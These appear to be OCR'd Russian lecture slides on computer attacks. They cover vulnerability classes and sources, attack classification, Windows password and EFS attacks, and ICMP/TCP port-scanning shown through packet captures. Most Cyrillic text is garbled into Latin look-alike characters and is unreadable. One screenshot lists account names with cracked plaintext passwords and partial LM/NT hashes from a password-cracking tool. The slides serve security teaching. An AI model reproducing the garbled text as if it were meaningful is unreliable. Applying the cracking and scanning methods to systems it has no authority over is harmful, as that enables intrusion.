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KomnbloTepHaa aTaka

o LleneHanpasneHHoe Bo3gencrtene Ha ANC,
OCYLLECTBNAEMOe nporpaMmmMHbIMU cpeacTeamm C
Lenbio HapyLleHns KoHdpunaeHUnanbHOCTH,
LLeNOCTHOCTU UM AOCTYNHOCTU MHAPOPMaL UK

e YA3BMMOCTbL - COCTOAHNE KOMIMbIOTEPHOU
CUCTEMbI, NO3BOMAOLLEE aTaKyOLWEMY
HapyLlaTb JENCTBYIOLLYIO NONMUTUKY
6e30nacHOCTU KOMIMbIOTEPHOW CUCTEMBI

o OKCINIOWUT - nporpamma, ncnosb3yroLlas
KOHKPETHYIO YA3BMMOCTb OJ19 HapyLIeHUS
OENCTBYIOLLEN MOSINTUKM DE30NACHOCTH



Mpumepbl yassumocTtu KC

o [lpoekTnpoBaHus: onbKN, OOMYyLIEHHbIE B X04€
pa3paboTtku IO unn npotokosrioB obmeHa

Hanpumep, OTCYTCTBUE MEXaAHU3MOB 3aLLUThI
MHOPMALIMK OT HECAHKLIMOHMPOBAHHOIO JOCTYyna

o Peanusauun: owumbku B nporpaMmmMHOM Koje,
no3ponswLme TeM Ui nHbiM obpasom 0b6oUTH

CNCTemMy 3allnTbl

(Hanpumep, oWNBKM NporpaMMmnMpoOBaHns, co3gatoLme
BO3MOXXHOCTb BbINOSTHUTb aTaky Ha nepernonHeHne

Oydepa)
o KoHdurypuposaHus: oluMbKN KOHOUTypUpoBaHUs v
agMUHUCTPUPOBaAHUA

(HenpaBunbHas HaCTpoMKa CUCTEMbI 3aLLUTHI,
CJTULLKOM KOPOTKUM Maposb U T. 4.).



TpyOoHOCTU aHanNu3a
KOMMbIOTEPHbIX aTaK

o OTcyTCTBYET €AMNHBIV UCTOYHUK MHdOpMaLWN,
NOCBALLEHHbLIA KOMMJIEKCHOMY PaCCMOTPEHMUIO
KOMMNbIOTEPHbIX aTak

o ATaku, peanusyemMble BPeOOHOCHbLIMU NporpamMmmamu,
ABMATCA NOJMHOXECTBOM KOMMbIOTEPHbIX aTak B
Lienom

o ba3bl AaHHbIX YA3BMMOCTEN OTPaXKatoT NLLb
noTeHunanbHble Yrpo3bl MHPOPMaLNOHHOU
be3onacHoCcTH

o WMHdopmaums 00 ycnellHbIX aTakax CKpbIBaeTCs
opraHm3aumamMmu, KOTopble OT HUX NOCTpadanm



NCTOYHUMKM MHOpMaLuun

http://www.sans.org

NHcTuTyT SANS.

«Top-20» («dBaguaTtka Hanbornee akTyasribHbIX YA3BUMOCTENY)
«The Top Cyber Security Risks»

«Top 25 Most Dangerous Programming Errors»
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NCTOYHUMKM MHOpMaLuun

http://www.owasp.org
The Open Web Application Security Project (OWASP).
«OWASP Top 10»

http:/lwww.cve.mitre.org
CrnoBapb 00LENPUHATLIX HAMMEHOBaHMN U3BECTHbLIX YA3BUMOCTEN
(Common Vulnerabilities and Exposures, CVE)

s
»

) —

- C o e bl A s ot | b vy

.
— - —
.

b4 Alswet CVE Tdentifiors RIS

CVE Ldant Foar s Dalvvad

N e e . bty e —



NCTOYHUMKM MHOpMaLuun

http://www.cwe.mitre.org
[TonbITKa Knaccmdukaunm yasBumMoCcTen NporpaMmmMHoOro obecneveHus
(Common Weaknesses Enumeration, CWE)

CJ ' Common Weakness Enumeration
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NCTOYHUMKM MHOpMaLuun

http://lwww.viruslist.com/ru/
- Cant nogaepxmnBaetcs «Jlabopatopunen Kacnepckoro»
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NCTOYHUMKM MHOpMaLuun

http://www.symantec.com

Cant komnaHum Symantec.

Pasnen «Security Responsey:

exxerogHble ot4yeThl «Internet Security Threat Report»

http://www.mcafee.com ¥ McAfee e . OlOR
Cant komnaHum McAfee

’symantm whders 133 corvwesed s N
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NCTOYHUMKM MHOpMaLuun

http://www.microsoft.com/technet/security/bulletin
Cant komnaHum Microsoft.

Pasnen «Security Bulletiny — nHdpopmaumnsa o6 n3BecTHbIX
ysiasBumocTsix B 10 Microsoft

Search by ProdecUTechaology and Service Pach
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NCTOYHUMKM MHOpMaLuun

http:/lwww.securitylab.ru
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ba3bl 4aHHbLIX YA3BUMOCTEN

http://www.cve.mitre.org
CVE-YYYY-NNNN

http://www.microsoft.com/technet/security/b

ulletin
MSYY-NNN

http://lwww.securityfocus.com/bid
SecurityFocus Vulnerability Database
BID: NNNNN

http://secunia.com
SECUNIA: NNNNN

http://securitytracker.com
SECTRACK: NNNNNNN



Knaccudunkauums
KOMNbIOTEPHbIX aTak

MecTOoHaxoXxaeHue dTaKyrouiero. JjiokalibHblE U
ceTeBble

HauyanbHble NOSITHOMOYMS aTaKyHOLWEro: BHYTPEHHNE
N BHELLHME

UHCTpyMeHTapun npoBeaeHUs aTaKu:
HenocpeacTBEHHbIN BBOJ KOMAHA, C UCNOSIb30BAHNEM
witaTtHoro 0O, cneunansHoe 1O, aBTOHOMHbIN
nporpaMmmMHbI MOA4YMNb

YcnoBue Ha4vyarna ataku: akTUBHas4, NOJTyaKTUBHAA U
NMNaCcCUBHasA

OO6BbeKT ataku: Tun atakyemoro 10



Knaccudukauums
KOMNbIOTEPHbIX aTak

Tvn ncnonb3yemMoun ysa3BMMOCTU, TO €CTb C NO3NLIUA
aTakyemMoro: nNpoekTUupoBaHuA, peanusaumm u
KOHJourypaumm

KoHe4yHas uernb 3roymbilrieHHUKa, TO eCTb C NO3nuum
aTakyroulero

BbIBO KOMHthTepHOIZ CNCTEMbI U3 CTPOA UTIN €e€e
briokmpoBaHue (otkas B o6ecnyxusarum, Denial-of-Service, DoS),

KonupoBaHue nnu nogmMmeHa UMHTepecyrLlen nHpopmaumn,
nony4yeHmne nosIHOMOYNKM cynepnonb3oBaTens

lNpn3Haku, Nno3BonsAKLWMe OOHAPYXUTb aTaKy, TO eCTb C
no3numnm HabngaTens

HanM4yne B XypHane perncrtpauum cobbITUn NnNu CETEBOM
Tpaduke onpeaeneHHon nHdopmaumu,

NOOKMNIOYEHNE K OnpeaeneHHomn ceTeBon cnyxoe n np.



Atakm Ha OC Windows

[Tony4yeHne gocTtyna K AaHHbIM B 06x0
noacucTeMbl ayTeHTUdUKaLmn

ATakn Ha naponu

[Tony4yeHne gocTtyna K 3amngpoBaHHbIM
OaHHbIM

ATaKkun ¢ ncnonb3oBaHUeM BpegOHOCHbIX
nporpamMmm



[lonyyeHue gocTtyna K gaHHbIM B

obxoa noacUcCTeMb

ayTeHTU(pUuKaumm

3arpyska 1K ¢ BHeLUHUX HOCUTENEeWN:
CD-ROM,

USB,
CeTeBag 3arpyska



ATaKku Ha naponw

3BneyeHne xellnpoBaHHbIX Naporneun
anst nogbopa TEKCTOBOro naposns

Onsi ceTeBoro coeanHeHunst 6ea nogbopa
TEKCTOBOIro Napons

Moaudoukaumna naponibHOW NHAOPMaL K
nogmMmeHa (0OHyrneHne) napons nosrb3oBaTtens



® | CP - [G:\BanaTua\3anaTHa windows\Mcp504rulpwd1102D.xt. lcp]

darin Bua Mmnopt CeaHc Cnpaeka

n |[ve #

M ATaka no cnosapio

MocnegHas komBuHaums: MDRZYD

HavaneHaa KoMOUHAUMS: A

M MWGpuaHanA araka

0.7113

% BbinonHeHo 0

ai

™ Araka nocnenoBarenbHbIM nepetopom

427 ™24

KoHEeYHana KOMOWHAUWR, 7777777

c octanoce Ckopocte: 1581496

HMma nonezoea...
m administrator
Guest
& COMMANDER
&3 DAGON

& DEBUT

& DELSY
oGt
#300zZER

& DuUBEL
#oucar

& DwaRF

43 INSPECTOR
& MASTER

43 TORQUEMADA
3161283
#3000y

9 o1

o2

13

43 MYCOMPUTE...
&3 DIMON
m.&nonym

£ wsoPig

LM-napone

NO PASSWORD
NO PASSWORD
V0LAD

PRIMUS

NO PASSWORD

NO PASSWORD
KINDER

GERMINA

12345
NO PASSWORD
NO PASSWORD
NO PASSWORD
DIMON
12345
NO PASSWORD

NT-napone

NO PASSWORD
NO PASSWORD
vlad

primus
ND PASSWORD

NO PASSWORD
kinder

germina

12345
NO PASSWORD

dimon
12345

-~
w0

X 2 X X X X X X X X X X

>14

X

Li-s3w
52E5347DF197527054CDC...
NO PASSWORD
NO PASSWORD
98B911F0ACF7388BAAD3...
BF0D39EE3CHFE3FD34AD3...
NO PASSWORD
FAEFIAESSECECY3144D3...
7BID7ABFI035002144D3...
NO PASSWORD
A4857CEASBBT10EF34AD3...
D41F058529091DDDAADS...
A4857CEASBBT10EF34AD3...
4E2DECD7CAATIZ2C4AAD. ..
D1A7A3FFOACE284DBOSF. ..
3JBEDSDESS38D 4482840 3...
O6B5B24FCEBEBFEDEALDS...
AEBD4DE3B4CTECA38AD. ..
NO PASSWORD
NO PASSWORD
NO PASSWORD
2C7CCO45FECEFIF0AADS...
AEBD4DE384C7ECA35AD. ..
NO PASSWORD

NT-%aw
BESBFBA3FOF1E444C082B...
NO PASSWORD
ND PASSWORD
2C7781FD109545F 246104, .
72B9528AEFCADT74BB170...
NO PASSWORD
AFSTF7CFOBF1EFS40DB52...
GOCEQAB4B211BATADTFA. ..
NO PASSWORD
4D23B8AACD317CE5F0EB. ..
52E124367EBDEO3SEBLCT ...
4D23B8AACD317CE5F0ER. ..
ES3EOFFB2D4F7837BE144. ..
394587EEE18COBSF27606...
4F015C6944995F8C25EB2. .
5047454B30EF83132976E...
7A21930FCD3D759941E45...
NO PASSWORD
BB9BAAFAIBFEDFOF42372...
727D0D284887192DFFCDS...
CS43C483EATCCFF34862C. ..
7A21990FCD3D759941E45...
CAS31CCIFSAS08EEB24A90...

BoccTaHoBNEeHWe Naponei NpepeaHo

22 W3 36 napone HanaeHel (61.111%)




[Tlony4yeHue gocTyna K
3aliMdppoBaHHbIM AAaHHbIM

AEFSDR

o Re
AROVd { Data D

Scan  Options Help

XADKELA 00

- 8]

| EFS related files | Encrypted files | File tree

FileMName/serMame Size Type
e30dde3327cf3c3c95a6c8786ch21be... 1.309 Private Key
a2b33093-d1c1-4461-beb3-342a3feds. . 388 Master Key
cb2329ff-eab5-412b-aled-99e86c427 .. 388 Master Key
43657bb6-c777-4610-be28-d48296ce. .. 388 Master Key
a26cb317-058e-402e-adb5-45a54923. . 388 Master Key
8d12b04a-9cfa-468c-3d8c-325782b29. . 388 Master Key
9a71407d-e7b0-4f60-b2cd-320e65115... 388 Master Key
76f97173-a0b6-4d15-bbf6-b56ce2f727... 388 Master Key
c0110a1d-3bal-4b38-a17d-55cbf7bf2. .. 388 Master Key
system 4980.736 System Registry
system 1.052.672 System Registry
SAM 262144 SAM Registry
sam 24 576 SAM Registry

Enter user name and password @

User name:

| e ]
Password:

(3 As text: ’ ‘

O In hex: ‘ ‘ [ Cancel ]

Comments

Windows XP/2003
Windows XP/2003
Windows XP/2003
Windows XP/2003
Windows XP/2003
Windows XP/2003
Windows XP/2003 w
Windows XP/2003
Windows XP/2003

SysKey is stored in regis...
SysKey is stored in regis... |

Add user password

Add passwords
from dictionary

Add SYSKEY

Backup data

Restore data

Decrypted

Not decrypted

Advanced EFS Data Recovery 2.1, Copyright {c) 2003-2004 ElcomSoft Co.Ltd.




CeTeBble aTaku

e COOp MHpOpMaLUn
N3yyeHmne ceTeBou TOMOMNOrmu,
onpepneneHune tuna n sepcun OC arakyemoro yana,
OOCTYMHbIX CETEBLIX CEPBUCOB

e BbidABIIEHNE YA3BUMbIX MECT aTaKyeMOVI CUCTEMDI
aHanna Hannuyma yassmmocTten B 1O n ero HacTponkax

o peanun3auus BbIOpaHHOM aTakm

OTrnpaBKa CETEBbLIX MAKETOB Ha ONpeaeneHHble CETEBLIE
CInyXObl

SYN Flood, Teardrop, UDP Bomb, nogbop naponeu



UccnepnoBaHe ceTeBOW
TOMONOrnunm

o |ICMP-ckaHnpoBaHune
komaHga ECHO REQUEST npotokona ICMP
oTBeTHOe coobuleHne ECHO REPLY

o [CP-ckaHnpoBaHue

nocriegoBaTteribHasi yCTaHOBKa CETEBOIO
coeuHeHUs1 No onpeaeneHHoMy NopTy C
nepebopom IP-agpecoB

[Tlporpamma NMAP —
cBOOOAOHO pacnpocTpaHAeMbI CKaHepP NOPTOB
http://www.insecure.org/nmap/



ICMP-ckaHnpoBaHue

Y. InterNetView
File Map SHNMP Window Help

=Hd Q2% HON 2

\r

. Scan Window

\Pinging 192.168.200.1
| ICMP Received.

? Pinging 192.168.200.2 Scanner
| ICMP Received.

Start IP
View Options

EndIP 132 [168 (200 |2

Cancel




A
v '

File Search View Tools Settings Rules Help

PE@8W-D- &

i

P = |

IP Statistics L1 Packets | Logging | $b Rules |

Mo | Protocol | MAC Addresses | IP Addresses | Parts A | = EthemerIr
7 IPICMP  02:08:02:B5:FS:... 192.168.200.1 => 192.168.200.2 MiA g‘-'“'“a;f:g’:‘zf;gf’&gfggﬁo‘°3
8 IPJICMP  02:08:02:B5:FS:... 192.168.200.1 <= 192,168.200.2 NjA — proti rrhratyeanlat
v Ethertype: 0x0800 (2048) - IP
¢ | > o Direction: Out
— = - Time [ Delta Time: 16:37:04,2128 [ 30,109
0x0000 00 08 02z B7? CD C3 02 08-02 BS F5 A0 08 00 45 00  ...*HP...px ..E. Frame size: 74 bytes
0x0010 00 3C 1E ES 00 00 20 0l-0& 87 CO A2 C8 01 CO A8 .<.e..B..tARM. Ak |+ IP
0x0020 C8 0z 08 00 EA ES 0Ol 00-05 00 61 62 632 64 65 66 M...xu....abecdef | - ICMP
0x0030 67 68 69 6A 6B 6C 6D G6E-6F 70 71 72 73 74 75 76  ghijklmnopgrstus
0x0040 77 78 79 7A 7B 7C 7D 7E-7F 80 wxyz{ | }~O0B Code: 0x00 (0)
Checksum: 0xEAES (60136) - comrect
Identifier: 0x0100 (256)
- Sequence Number: 0x0500 (1280)
ICMP-3anpoc
() ‘om =
< 3 IBSIE
Capture: On  Pkts: 575in / 641 out | 7 pass Auto-saving: OFF  Rules: OFF 2% CPUUsage 4




A
v '

File Search View | Tools Settings Rules Help

»oO|@d-D0 -

R E

MAC Bridge Miniport - Packet Scheduler Miniport v
IP Statistics L1 Packets | Logging | $b Rules |
Mo | Protocol | MAC Addresses | IP Addresses | Ports A | = EthemerIr
6 IP/UDP  02:08:02:B5:F5:... 192.168.200.1 => 192.168.200.255 137 => 137 e s e
7 IP/ICMP  02:08:02:B5:F5:... 192.168.200.1 => 192.168.200.2 N/ = °:“° e s
8 IP/ICMP  02:08:02:B5:FS:... 192.168.200.1 <= 192,168.200.2 MIA v Ethertype: 010800 (2048) - I
< | S Direction: In
= = - Time [ Delta Time: 16:37:04,218 [ 0,000
0x0000 02z 08 02 BS F5 A0 00 08-02 B7 CD C3 08 00 45 00 ...px ...+HP._E. Frame size: 74 bytes
0x00l0 00 3C 09 27 00 00 S0 0l-20 45 CO AS C8 02 CO A8  .<.'..B. EARM.AF |& IP
0x00z0 C8 01l 00 00 FZ ES8 01 00-05 00 61 62 63 64 65 66 HM...mu....abedef | [=-ICMP
0x0030 67 68 69 6A 6B 6C 6D 6E-6F 70 71 72 73 74 75 76 ghijklunopgrstus Type: 0x00 (0) - Echo reply
0x0040 77 78 79 7A 7B 7C 7D 7E-7F 80 wxyz{ | }~O0B Code: 0x00 (0)
Checksum: 0xF2ES (62184) - comrect
Identifier: 0x0100 (256)
- Sequence Number: 0x0500 (1280)
ICMP-oTBeT
o om
< | & .o;: =

Capture: Off

Pkks: 575 in { 641 out | § pass

Auto-saving: OFf

Rules: OFf

4% CPUUsage | 4




Pesynbrat ICMP-
CKaHUpoBaHUA

. InterNetView - [Network Map]
File Map SMMP Window Help

=Hd QA2 F BHe N

=
192.168.200.1

My Computer




YctaHoBKka TCP coeanHeHuUN
(3-way handshake)

C-SYN

S-SYN, C-ACK

H D 0 5 41 A

S-ACK

YCTaHOBJICHO

T O T O O



TCP-ckaHnpoBaHue
S CommVie - [B)X]

' File Search View Tools Settings Rules Help
o8 H-D-

IP Statistics ‘L7 Packets I Logging I@O Rules l

MAC Bridge Miniport - Packet Scheduler Miniport v

Mo | Protocol | MAC Addresses | IP Addresses | Ports A | | =) Ethemet II
1 IPITCP  02:08:02:B5:F5:... 192.168.200.1 => 192.168.200.2 2111 => 21 — Dastination MACH00103102 £7eDe3
2 IPITCP  02:08:02:B5:F5:... 192.168.200.1 <= 192.168.200.2 2111 <= 21 Sorce e De e B
3 IPITCP  02:08:02:B5:FS:... 192.168.200.1 => 192.168.200.2 2111 =» 21 Ethertype1 020800 (2049) < 1P
4 IPITCP  02:08:02:B5:FS:... 192.168.200.1 <= 192.168.200.2 2111 €= 21 Dimctlonz Oue:
5 IPJTCP  02:08:02:B5:FS:... 192.168.200.1 => 192.168.200.2 2111 =3 21 Time / Dalta Time: 16148154,327 / 0,000
6 IPJTCP  02:08:02:B5:F5:... 192.168.200.1 <= 192.168.200.2 2111 <= 21 = biytes
b TOITTD Nn2N2a0n2REEC 102 142 2NN 1 —= 192 1&2 2NN 2 P11 == 22 — i+ P
£ | P s | A TCP
— — - Source port: 2111
0x0000 00 08 0z B7 CD C3 0z 08-0zZ BS FS A0 08 00 45 00 ERTRVE 7y © 1| e ;ux L9230 [ Destination port: 21
Ox001l0 00 30 1F 84 40 00 80 0&6-C2 E8 CO A8 C2 01 CO a8 0 BE. B, MAEM . AF Sequence: 0x69B52196 (1773478294)
0x0020 C8 02 08 3F 00 15 &9 B5-2Z1 96 00 00 00 00 70 02 L R PR | 1 H PR Y Acknowledgement: 0x00000000 (0)
0x0030 FA FO E3 39 00 00 02 04-05 B4 01 01 04 02 Bpro..... B Header length: 0x07 (7) - 28 bytes
&
Window: 0xFAF0 (64240)
Checksum: 0xE339 (58169) - comrect
Urgent Pointer: 0x0000 (0)
[+ TCP Options
Data length: 0x0 (0)
p S ST 5 0330 =

Cabtuféﬁ OFF Pkts: 637 in I, 759 out /8 pésé l'Atho-'saﬁhg: OFF Rules: OFF 1% CPU VUsrége ' Y/




NcKoMbIn y3en npucyTcTByeT

A
v U

File Search View Tools Settings Rules Help
> O | H-0-

IP Statistics ‘L7 Packets I Logging I@é Rules l

- B)X]

MAC Bridge Miniport - Packet Scheduler Miniport v

Mo | Protocol | MAC Addresses | IP Addresses | Ports A | | =) Ethemet II
1 IPJTCP  02:08:02:B5:F5:... 192.168.200.1 => 192.168.200.2 2111 =>21 Do WASHIC e PRt
2 IPTCP  02:08:02:B5:FS:... 192.168.200.1 <= 192,168.200.2 2111 <=21 Solice MACHNCR IR BT EDe
3 IPITCP  02:08:02:B5:FS:... 192.168.200.1 => 192.168.200.2 2111 => 21 Ethertype1 020800 (2049) < 1P
4 IPITCP  02:08:02:B5:FS:... 192.168.200.1 <= 192.168.200.2 2111 €= 21 SR
5 IPITCP  02:08:02:B5:F5:... 192.168.200.1 =3 192.168.200.2 2111 => 21 Time / Dalta Time: 16148154,327 / 0,000
6 IPJTCP  02:08:02:B5:F5:... 192.168.200.1 <= 192.168.200.2 2111 <= 21 il | TRk bytes
b TOITTD Nn2N2a0n2REEC 102 142 2NN 1 —= 192 1&2 2NN 2 P11 == 22 — i+ P
£ | > -. TCP
— - Source port: 21
Ox0000 0z 08 0z BS FS A0 00 08-0zZ B?7 CD C32 08 00 45 00 S EE SR DR - 1 L) (o Destination port: 2111
0x0010 00 Z2 09 Be 00 00 20 0&6-1F CS CO A2 C8 0Z CO A8 -(.90. . B. . EAEHM. AF Sequence: 0x00000000 (0)
0x00Z20 cg8 01 00 15 08 3F 00 00-00 00 &9 BS 21 97 50 14 Ry JSOPSER- U T R L Acknowledgement: 0x69B52197 (1773478295)
0x0030 00 00 O&A DB 00 00 00 00-00 00 OO0 0O ez iaaa Header length: 0x05 (5) - 20 bytes
:
Window: 0x0000 (0)
Checksum: 0x0ADB (2779) - comrect
Urgent Pointer: 0x0000 (0)
TCP Options: None
Data length: 0x0 (0)
dnarm RST n ACK < r
< s IBSNE
Capture: Off Pkts: 687 in J 759 out [ 8 pass ‘Auto-saving: OFf Rules: OFff 1% CPU Usage Y/




CkaHupoBaHue NopToB

o OnpepeneHne PyHKLUNOHMPYIOLMX CETEBLIX CNYX0
« TCP-20-21- FTP
o« TCP-23-TELNET
o« TCP-25-SMTP
» TCP-53-DNS UDP-53- DNS
« TCP-80-HTTP UDP-60-67- DHCP
- TCP-110- POP3 UDP-123- NTP
« TCP-135- RPC
« TCP-139- NETBIOS UDP-161- SMTP
« TCP-443- HTTPS
« TCP-445- RPC, DFS




Connect-ckaHnpoBaHue

[TopT OTKPBLIT [MopT 3aKpbIT
C-SYN C-SYN
1 : 1 :
S-SYN, C-ACK RST
- 9) -
S-ACK
3 -




Connect()-ckaHnpoBaHue, nopTt 21

A
v U

' File Search View Tools Settings Rules Help

[P O(@WH-0 -

MAC Bridge Miniport - Packet Scheduler Miniport v
IP Statistics ‘L) Packets I Logging I I Rules l
Mo | Protocol | MAC Addresses | IP Addresses | Ports A | | =) Ethemet II
1 IPITCP  02:08:02:B5:F5:... 192.168.200.1 => 192.168.200.2 2111 => 21 — Dastination MACH00103102 £7eDe3
2 IPITCP  02:08:02:B5:F5:... 192.168.200.1 <= 192.168.200.2 2111 <= 21 Sorce e De e B
3 IPITCP  02:08:02:B5:FS:... 192.168.200.1 => 192.168.200.2 2111 =» 21 Ethertype1 020800 (2049) < 1P
4 IPITCP  02:08:02:B5:FS:... 192.168.200.1 <= 192.168.200.2 2111 €= 21 Dimctlonz Oue:
5 IPJTCP  02:08:02:B5:FS:... 192.168.200.1 => 192.168.200.2 2111 =3 21 Time / Dalta Time: 16148154,327 / 0,000
6 IPJTCP  02:08:02:B5:F5:... 192.168.200.1 <= 192.168.200.2 2111 <= 21 = biytes
b TOITTD Nn2N2a0n2REEC 102 142 2NN 1 —= 192 1&2 2NN 2 P11 == 22 — i+ P
£ | P s | A TCP
— — - Source port: 2111
0x0000 00 08 0z B7 CD C3 0z 08-0zZ BS FS A0 08 00 45 00 SR © 1l ;ux L9230 [ Destination port: 21
Ox001l0 00 30 1F 84 40 00 80 0&6-C2 E8 CO A8 C2 01 CO a8 0 BE. B, MAEM . AF Sequence: 0x69B52196 (1773478294)
0x002z0 C8 0z 08 3F 00 15 69 BS5-21 96 00 00 00 00 70 02 M. Todpl= P Acknowledgement: 0x00000000 (0)
0x0030 FA FO E3 39 00 00 02 04-05 B4 01 01 04 02 Bpro..... r Header length: 0x07 (7) - 28 bytes
&
Window: 0xFAF0 (64240)
Checksum: 0xE339 (58169) - comrect
Urgent Pointer: 0x0000 (0)
[+ TCP Options
Data length: 0x0 (0)
< s 0SS =

Cabtuféﬁ OFF

PkEs: 687 in { 759 out | § pass

l'Atho-'saﬁhg: OFF

Rules: OFF

1% CPUUsage | Y




OTBeT - «3aKpbITbIX NOPT»

A
v U

' File Search View Tools Settings Rules Help

[P O(@WH-0 -

MAC Bridge Miniport - Packet Scheduler Miniport v
IP Statistics ‘L) Packets I Logging I I Rules l
Mo | Protocol | MAC Addresses | IP Addresses | Ports A | | =) Ethemet TR
1 IPJTCP  02:08:02:B5:F5:... 192.168.200.1 => 192.168.200.2  2111=>21 ® e
2 IPJTCP  02:08:02:B5:F5:... 192.168.200.1 <=192,168.200.2 2111 <=21 S e
3 IPJTCP  02:08:02:B5:F5:... 192.168.200.1 => 192,168.200.2 2111 => 21 D‘, e"}‘pfi H0B00 208
4 IPITCP  02:08:02:B5:FS:... 192.168.200.1 <= 192.168.200.2 2111 €= 21 RECon '“ <
5 IPITCP  02:08:02:B5:F5:... 192.168.200.1 =3 192.168.200.2 2111 => 21 T { Daka T":‘-" 16148154,327 1 0,000
6 IPJTCP  02:08:02:B5:F5:... 192.168.200.1 <= 192.168.200.2 2111 <= 21 I seFramecier bl pytes
b TOITTD Nn2N2a0n2REEC 102 142 2NN 1 —= 192 1&2 2NN 2 P11 == 22 X i+ P
< | > = TCP
— — . Source port: 21
Ox0000 0z 02 0z BS FS5 A0 00 08-0zZ B7 CD C3 02 00 45 00 ERTRPEE. 1 ' SREUtr BN - | ) [ Destination port: 2111
0x0010 00 Z2 09 Be 00 00 20 0&6-1F CS CO A2 C8 0Z CO A8 . {.9. .B. .EAEM. AR Sequence: 0x00000000 (0)
0x00z0 C8 01 00 15 08 3F 00 00-00 00 €9 BS Z1 97 50 14 Wit asileis 2o dqa P Acknowledgement:018985219? (1??34?8295)
0x0030 00 00 O&A DB 00 00 00 00-00 00 OO0 0O ez iaaa Header length: 0x05 (5) - 20 bytes
E

Window: 0x0000 (0)

Checksum: 0x0ADB (2779) - comrect

Urgent Pointer: 0x0000 (0)

TCP Options: None

Data length: 0x0 (0)

< It
o o =
< | 0SS =
Cabtuféﬁ OFF Pkts: 637 in I, 759 out /8 pésé l'Atho-'saﬁhg: OFF Rules: OFF 1% CPU VUsrége ' Y




Connect()-ckaHnpoBaHue, nopt 135
R BEE

' File Search View Tools Settings Rules Help
o8 H-D-

IP Statistics ‘L7 Packets I Logging I@O Rules l

MAC Bridge Miniport - Packet Scheduler Miniport v

Mo J Protocol l MAC Addresses [ IP Addresses I Ports & | = Ethemet II
59 IPJTCP  02:08:02:B5:F5:... 192.168,200.1 =3 192.168.200.2 2120 => 110 Dastination IAGHINIS 02 E2:COICE
60 IPITCP  02:08:02:B5:F5:... 192.168.200.1 <= 192.168.200.2 2120 <= 110 Sorce e De e B
61 IPJTCP  02:08:02:B5:F5:... 192.168.200.1 =3 192,168.200.2 2121 => 135 Ethertype1 020800 (2049) < 1P
62 IPITCP  02:08:02:B5:FS:... 192.168.200.1 <= 192.168.200.2 2121 €= 135 Dimctlonz Oue:
63 IP/TCP  02:08:02:B5:FS:... 192.168.200.1 => 192.168.200.2 2121 => 135 Time / Dalta Time: 16149:24,343 / 2,094
£d IPITCP  02:08:02:B5:F5:... 192.168.200.1 => 192,168.200.2 2121 => 135 T Fram erb2 byles
~C ToITrD n2Naan2REEC 1027 182 2NN 1 ~=— 1072 12 2NN 2 2121 ~=— 12 — i+ P
£ | > - TCP
— - - Source port: 2121
0x0000 00 08 0z B7 CD C3 0z 08-0Z BS F5 A0 08 00 45 00  ...-HT...px ..E. Destination port; 135
0x0010 00 30 1F A2 40 00 80 06-C9 CA CO A2 C8 01 CO A8  .0.E@.B.MKARM. A Sequence: 06A2E0378 (1781400440)
0x00z0 C8 0z 08 49 00 87 64 ZE-03 78 00 00 00 00 70 02 5 P O 4 pke, ARSI o8 Acknowledgement:0100000000 (0)
0x0030 FA FO 00 63 00 00 0Z 04-05 B4 01 01 04 02 Y 5 T B Header length: 0x07 (7) - 28 bytes
&
Window: 0xFAF0 (64240)
Checksum: 0x0063 (39) - correct
Urgent Pointer: 0x0000 (0)
[+ TCP Options
Data length: 0x0 (0)
< s 0SS =

Cabtuféﬁ OFF Pkts: 637 in I, 759 out /8 pésé l'Atho-'saﬁhg: OFF Rules: OFF 3% CPU VUsrége ' Y/




OTBeT - «KOTKPbITbIN NOPT»

A
v U

File Search View Tools Settings Rules Help

PO BW-DO -

MAC Bridge Miniport - Packet Scheduler Miniport v
IP Statistics ‘L) Packets I Logging I I Rules I
Mo | Protocol | MAC Addresses | IP Addresses | Ports & | B Ethemet I
59 IP/TCP  02:08:02:B5:F5:.. 192.168.200.1 =>192.168.200.2 2120 => 110 gariyesbtihol il
60 IPITCP  02:08:02:B5:F5:... 192.168.200.1 <= 192.168.200.2 2120 <= 110 S°:"‘e o e s
61 IP[TCP  02:08:02:B5:F5:... 192.168.200.1 => 192.168.200.2 2121 => 135 SR R ST
IPITCP  02:08:02:B5:FS:... 192,168,200.1 <= 192,168,200,2 2121 <= 135 _"'e‘";""“ < ;
63  IPTCP  02:08:02:B5:F5:.. 192.168.200.1=>192.168.200.2 2121 => 135 E D T TR
£d IPITCP  02:08:02:B5:F5:... 192.168.200.1 => 192,168.200.2 2121 => 135 odlleg U ot b
AC DT D N7:N2:N? REFC, 107 142 2NN 1 ~— 102 141 2NN 2 2121 ~— 175 ¥ =-1P
< » = TCP
— - - Source port: 135
Ox0000 0z 02 0z BS FS5 A0 00 08-0zZ B7 CD C3 02 00 45 00 REPRRE 1. [ "SURERtir BN - 1 (U [l Destination port: 2121
0x0010 00 30 09 D4 40 00 20 0&6-DF SE CO A2 C28 0Z CO AS .0.%@.%. IRAKM. AR Sequence: 0x4FFC1780 (1341921152)
0x00Z0 C8 01 00 87 08 49 4F FC-17 80 64 ZE 03 79 70 12 5 G 1 T R Acknowledgement: 0x6A2E0379 (1751400441
0x0030 FA FO 82 DS 00 00 02z 04-05 B4 01 01 04 02 wp0X. . ... r - Header length: 0x07 (7) - 28 bytes
+]- Flags: SYN ACK
Window: 0xFAF0 (64240)
Checksum: 0x98DS (39125) - comect
- Urgent Pointer: 0x0000 (0)
[+ TCP Options
Data length: 0x0 (0)
< | 98
o oa
< | > Us =
Capture: OFF  |Pkts: 687 in { 759 out | & pass Auto-saving: OFf  Rules: OFf 1% CPUUsage | 7




MHble cnocobbl cKaHMpoBaHUA

o SYN-ckaHupoBaHue,
o FIN-ckaHupoBaHue,

o ACK-ckaHupoBaHue,
o XMAS-ckaHupoBaHue,
o NULL-ckaHnpoBaHue,
o UDP-ckaHupoBaHune

“=) CAYPOH cxaHep nopioB

Ckanvposanne OT4eT  [MoMowb

CkaHWpyemblii xocT [192 |158 |200 |2

Crnucok noproe [ 100-150

CkaHWpoBaTh | |

Tun CKaHWPOBaHWA

¢ Connect [ ) ckaH

"~ SYN ckaHupoBaHue
" FIN ckaHupoBaHue
"~ ACK ckaHuposaHue
"~ XMAS ckaHupoBaHue
" NULL ckaHupoBaHu1e

"~ UDP ckaHupoBaHue

Bpema 14.07.36

E s T = L e e T

(0 NOpTOB NPOCKSHWPOE
Wz Hux otkpemo: 0
Scan Manager zasepu

3aeepweHue no T arim
CraHupoBaHue xocTa |
MeToa craHupoBaHuA
Scan Manager zanywe
JaBeplueHUe CKaHWpoE
100 nopToB NPOCKaHUE
W3 Hux otkpemro: 0

Scan Manager zasepuw

